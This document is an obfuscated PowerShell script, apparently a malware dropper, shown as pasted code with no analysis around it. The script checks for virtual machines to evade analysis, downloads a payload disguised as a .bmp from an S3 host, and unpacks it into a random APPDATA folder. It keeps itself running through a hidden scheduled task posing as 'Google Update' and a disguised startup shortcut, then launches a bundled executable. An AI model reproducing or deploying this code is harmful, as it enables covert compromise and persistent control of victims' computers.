Pasted

${/=\_/\/===\_____/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAHMAMwAtAHMAYQAtAGUAYQBzAHQALQAxAC4AYQBtAGEAegBvAG4AYQB3AHMALgBjAG8AbQAvAGEAbAB1AGwAYQBzADIAMAAxADkALwBYAGsAYgB5AEMAUQBuAEEAagBmAGIAcgBPAHgALgBiAG0AcAA=')))
${/=\/=\/\/===\/===} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgB2AHMAbQBhAHIAdABtAGEAeABhAHAAcAAuAGUAeABlAA==')))
${/=\/\/\_/=\___/==}    = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgB2AHMAbQBhAHIAdABtAGEAeABhAHAAcAA=')))
${___/\/\/\__/=\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZwB1AHAALgBlAHgAZQA=')))
function ___/\____/=\/\/==\(${__/\_/=\/\_/===\_/} , ${_/=\/==\_____/=\_/})
  {
    ${/===\____/=\/=\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBvAG8AZwBsAGUAQgBvAGwA')))
    ${__/===\/\_/\__/=\} = ${__/\_/=\/\_/===\_/} 
    ${_____/\_/\/\_/=\_} = ""
    ${_/=\/\/=\/\___/=\}= ${_/=\/==\_____/=\_/}
    ${__/==\_____/\/==\} = [datetime]::Now.AddMinutes(1)
    ${/=\/\_/==\/\____/} = new-object -ComObject($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwBjAGgAZQBkAHUAbABlAC4AUwBlAHIAdgBpAGMAZQA='))))
    ${/=\/\_/==\/\____/}.Connect()
    ${_/\/=\/\_/\/==\/\} = ${/=\/\_/==\/\____/}.GetFolder("\")
    ${___/=\__/==\_/\_/} = ${/=\/\_/==\/\____/}.NewTask(0)
    ${_/\_/==\_/=\/=\__} = ${___/=\__/==\_/\_/}.RegistrationInfo
    ${_/\_/==\_/=\/=\__}.Description = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBhAG4AdADpAG0AIABvACAAcwBlAHUAIABzAG8AZgB0AHcAYQByAGUAIABkAG8AIABHAG8AbwBnAGwAZQAgAGEAdAB1AGEAbABpAHoAYQBkAG8ALgA=')))
    ${_/\_/==\_/=\/=\__}.Author = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBvAG8AZwBsAGUAIABVAHAAZABhAHQAZQA=')))
    ${/=\/==\/=====\/\/} = ${___/=\__/==\_/\_/}.Settings
    ${/=\/==\/=====\/\/}.Enabled = $true
    ${/=\/==\/=====\/\/}.StartWhenAvailable = $true
    ${/=\/==\/=====\/\/}.AllowDemandStart = $true
    ${/=\/==\/=====\/\/}.Hidden = $true 
    ${__/\_/==\_/\_/=\/} = ${___/=\__/==\_/\_/}.Triggers  
    ${___/\/==\/\/\/=\/} = ${__/\_/==\_/\_/=\/}.Create(2)
    ${___/\/==\/\/\/=\/}.StartBoundary = ${__/==\_____/\/==\}.ToString($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('eQB5AHkAeQAtAE0ATQAtAGQAZAAnAFQAJwBIAEgAOgBtAG0AOgBzAHMA'))))
    ${___/\/==\/\/\/=\/}.Repetition.Interval = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABUADMASAA=')))
    ${___/\/==\/\/\/=\/}.Enabled = $true 
    ${/==\___/=\/=\__/\} = ${___/=\__/==\_/\_/}.Actions.Create(0)
    ${/==\___/=\/=\__/\}.Path = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwAvAD0APQA9AFwALwBcAF8ALwBcAF8AXwAvAD0AXAB9AA==')))
    ${/==\___/=\/=\__/\}.Arguments = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8AXwAvAFwAXwAvAFwALwBcAF8ALwA9AFwAXwB9AA==')))
    ${/==\___/=\/=\__/\}.WorkingDirectory = ${_/=\/\/=\/\___/=\}       
    ${_/\/=\/\_/\/==\/\}.RegisterTaskDefinition($ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQA9AD0AXABfAF8AXwBfAC8APQBcAC8APQBcAF8ALwB9AA=='))),${___/=\__/==\_/\_/},6,$null,$null,3) | Out-Null    
  }
function _/==\/\/=\___/=\_/
{
  ${_/\__/\__/\__/\/=} = Get-WmiObject -Class Win32_ComputerSystem |Select-Object -ExpandProperty Model
  if (${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbABCAG8AeAA='))) -or
    ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBNAHcAYQByAGUAIABWAGkAcgB0AHUAYQBsACAAUABsAGEAdABmAG8AcgBtAA=='))) -or
    ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VgBpAHIAdAB1AGEAbAAgAE0AYQBjAGgAaQBuAGUA'))) -or
  ${_/\__/\__/\__/\/=} -eq $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('SABWAE0AIABkAG8AbQBVAA=='))))
  {
    return "Y"
  }
  else
  { 
    return "N"
  }
}
function ______/\_/\_/=\/\_
{
  try
  {
    ${/=\/\/=\_/==\__/\} = Get-Random -Minimum 1 -Maximum 9
    ${__/\__/\/=\/=\/\_} = ""
    For (${_/\/===\/==\__/\/}=0; ${_/\/===\/==\__/\/} -le ${/=\/\/=\_/==\__/\}; ${_/\/===\/==\__/\/}++) 
    {
      ${_/=\/=\__/=\_/\__}  = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cQB3AGUAcgB0AHkAdQBpAG8AcABsAGsAagBoAGcAZgBkAHMAYQB6AHgAYwB2AGIAbgBtAFEAVwBFAFIAVABZAFUASQBPAFAAQQBTAEQARgBHAEgASgBLAEwAWgBYAEMAVgBCAE4ATQA=')))
      ${_/\___/\/=\_/\/\/}  = Get-Random -Minimum 1 -Maximum ${_/=\/=\__/=\_/\__}.Length
      ${__/\_/\_/\_/===\/} = ${_/=\/=\__/=\_/\__}.Substring(${_/\___/\/=\_/\/\/},1)
      ${__/\__/\/=\/=\/\_} = ${__/\__/\/=\/=\/\_}+${__/\_/\_/\_/===\/}   
    }
    return ${__/\__/\/=\/=\/\_} 
  }
  finally{}
}
function __/=\/\/\_/=\_/\__(${_/=\___/=\_/\___/\}, ${_/=\/\/\_/\/======})
{ 
    ${/=\______/====\__} = New-Object $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBVAHIAaQA='))) $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwAXwBfAF8ALwA9AFwAXwAvAFwAXwBfAF8ALwBcAH0A'))) 
    ${__/\/==\_/=\/\/=\} = [System.Net.HttpWebRequest]::Create(${/=\______/====\__}) 
    ${__/\/==\_/=\/\/=\}.set_Timeout(15000) 
    ${/=\__/=\__/\___/=} = ${__/\/==\_/=\/\/=\}.GetResponse() 
    ${_/\/=\____/\_/=\_} = [System.Math]::Floor(${/=\__/=\__/\___/=}.get_ContentLength()/1024) 
    ${__/\/=\/\__/\_/\/} = ${/=\__/=\__/\___/=}.GetResponseStream() 
    ${___/==\/\/\/\____} = New-Object -TypeName System.IO.FileStream -ArgumentList ${_/=\/\/\_/\/======}, Create 
    ${_/\_/==\_/\/\/\__} = new-object byte[] 10KB 
    ${/=\/==\__/\/=\/==} = ${__/\/=\/\__/\_/\/}.Read(${_/\_/==\_/\/\/\__},0,${_/\_/==\_/\/\/\__}.length) 
    ${/=\_/\_/=\/\___/=} = ${/=\/==\__/\/=\/==} 
    while (${/=\/==\__/\/=\/==} -gt 0) 
    { 
        ${___/==\/\/\/\____}.Write(${_/\_/==\_/\/\/\__}, 0, ${/=\/==\__/\/=\/==}) 
        ${/=\/==\__/\/=\/==} = ${__/\/=\/\__/\_/\/}.Read(${_/\_/==\_/\/\/\__},0,${_/\_/==\_/\/\/\__}.length) 
        ${/=\_/\_/=\/\___/=} = ${/=\_/\_/=\/\___/=} + ${/=\/==\__/\/=\/==} 
    } 
    ${___/==\/\/\/\____}.Flush()
    ${___/==\/\/\/\____}.Close() 
    ${___/==\/\/\/\____}.Dispose() 
    ${__/\/=\/\__/\_/\/}.Dispose() 
    return "Y"
} 
function __/====\/\_____/\_
{
  Param([string]${___/\_/==\_/===\_/},[string]${_/=\/==\/=\_/==\__});
  try{  
    ${/\______/==\__/=\} = New-Object -ComObject WScript.Shell 
    ${/=\/\/\/\__/\/===} = ${/\______/==\__/=\}.CreateShortcut(${___/\_/==\_/===\_/}) 
    ${/=\/\/\/\__/\/===}.TargetPath = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwA9AFwALwA9AD0AXAAvAD0AXABfAC8APQA9AFwAXwBfAH0A'))) 
    ${/=\/\/\/\__/\/===}.Arguments = ""
    ${/=\/\/\/\__/\/===}.WorkingDirectory = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwBfAF8ALwBcAF8ALwBcAF8ALwBcAC8AXABfAC8APQBcAH0A'))) 
    ${/=\/\/\/\__/\/===}.WindowStyle = 7
    ${/=\/\/\/\__/\/===}.IconLocation = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwAlAFwASQBuAHQAZQByAG4AZQB0ACAARQB4AHAAbABvAHIAZQByAFwAaQBlAHgAcABsAG8AcgBlAC4AZQB4AGUALAAxAA==')))
    ${/=\/\/\/\__/\/===}.Save()
  }finally{}
}
function __/\__/==\/\__/=\/
{
  try
  {
    ${___/=\____/\_/=\/} = New-Object System.Threading.Mutex($false, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('NAA0ADQANAA0ADQANAA0ADQANAA0ADQA'))))
    return ${___/=\____/\_/=\/}.WaitOne()  
  }finally{}
}
  if (_/==\/\/=\___/=\_/ -eq "N")
  {
    if (__/\__/==\/\__/=\/) 
    {     
      stop-process -name wmplayer
      ${_/\/====\___/==\_} = ${env:APPDATA}+"\"
      ${/==\_/\______/\/\} = ______/\_/\_/=\/\_
      ${___/\_/\_/\/\_/=\} = ______/\_/\_/=\/\_
      ${/=\_____/=\____/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB0AHgAdAA=')))
      ${/======\_/\____/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB2AGIAcwA=')))
      ${___/\/\_/=\/\/==\}  = ${_/\/====\___/==\_}+${/==\_/\______/\/\}+${/=\_____/=\____/\}
      ${/=\__/=\/===\/==\} = new-object -ComObject scripting.filesystemobject
      ${/=\__/=\/===\/==\}.CreateFolder(${_/\/====\___/==\_}+${___/\_/\_/\/\_/=\})  | Out-Null 
      sleep -s 1
      ${_/\/\__/=\__/\/=\}  = $false
      while(${_/\/\__/=\__/\/=\} -ne $true)
        {
        __/=\/\/\_/=\_/\__ ${/=\_/\/===\_____/} ${___/\/\_/=\/\/==\}; sleep -s 1 
        if ((Get-Item ${___/\/\_/=\/\/==\}).length -gt 2048kb)
         {
           ${_/\/\__/=\__/\/=\}  = $true                                                          
           ${/=\_/=\/===\____/} =  "Y" 
          } 
          else 
           {                     
            ${/=\_/=\/===\____/} = "N"
           }
        Write-Host ${_/\/\__/=\__/\/=\}
        }  
       ${/=\_/=\/===\____/} =  "Y" 
        if (${/=\_/=\/===\____/} -eq "Y")
        {
          ${_/\__/\/===\_/==\} = ${_/\/====\___/==\_}+${/==\_/\______/\/\} +$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LgB6AGkAcAA=')))
          Rename-Item -Path $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAC8AXAAvAFwAXwAvAD0AXAAvAFwALwA9AD0AXAB9AA=='))) -NewName $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8ALwBcAF8AXwAvAFwALwA9AD0APQBcAF8ALwA9AD0AXAB9AA==')));
          ${_/\_/\______/=\__} = New-Object -ComObject shell.application
          ${_/\__/\/=\/===\__} = ${_/\_/\______/=\__}.NameSpace(${_/\__/\/===\_/==\})               
          foreach (${___/=\/==\_/==\_/} in ${_/\__/\/=\/===\__}.items()) 
          {            
            ${_/\_/\______/=\__}.Namespace(${_/\/====\___/==\_}+${___/\_/\_/\/\_/=\}).CopyHere(${___/=\/==\_/==\_/}, 0x14)
          }                        
          sleep -s 3 
          del ${_/\__/\/===\_/==\}
          ___/\____/=\/\/==\ -__/\_/=\/\_/===\_/ $env:APPDATA\${___/\_/\_/\/\_/=\}\${___/\/\/\__/=\/=\} -_/=\/==\_____/=\_/ $env:APPDATA\${___/\_/\_/\/\_/=\}
          ${_/\__/\/\___/\__/} = New-Object -Com WScript.Shell
          ${/=\___/=\_/==\/=\} = ${_/\__/\/\___/\__/}.SpecialFolders.Item($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAcgB0AHUAcAA='))));          
          del ${/=\___/=\_/==\/=\}\*.vbs
          del ${/=\___/=\_/==\/=\}\*.lnk      
          ${____/===\/=\_____} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAAkAHsAXwBfAF8ALwBcAF8ALwBcAF8ALwBcAC8AXABfAC8APQBcAH0AXAAkAHsALwA9AFwALwA9AFwALwBcAC8APQA9AD0AXAAvAD0APQA9AH0A')))          
          ${_/\_____/=\/=\__/} = $ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AC8APQBcAF8AXwBfAC8APQBcAF8ALwA9AD0AXAAvAD0AXAB9AFwAJAB7AC8APQBcAC8AXAAvAFwAXwAvAD0AXABfAF8AXwAvAD0APQB9AC4AbABuAGsA')))          
          __/====\/\_____/\_ ${_/\_____/=\/=\__/}  ${____/===\/=\_____};
          cd $env:APPDATA\${___/\_/\_/\/\_/=\}; Start-Process $env:APPDATA\${___/\_/\_/\/\_/=\}\${/=\/=\/\/===\/===};
        }    
    }        
  }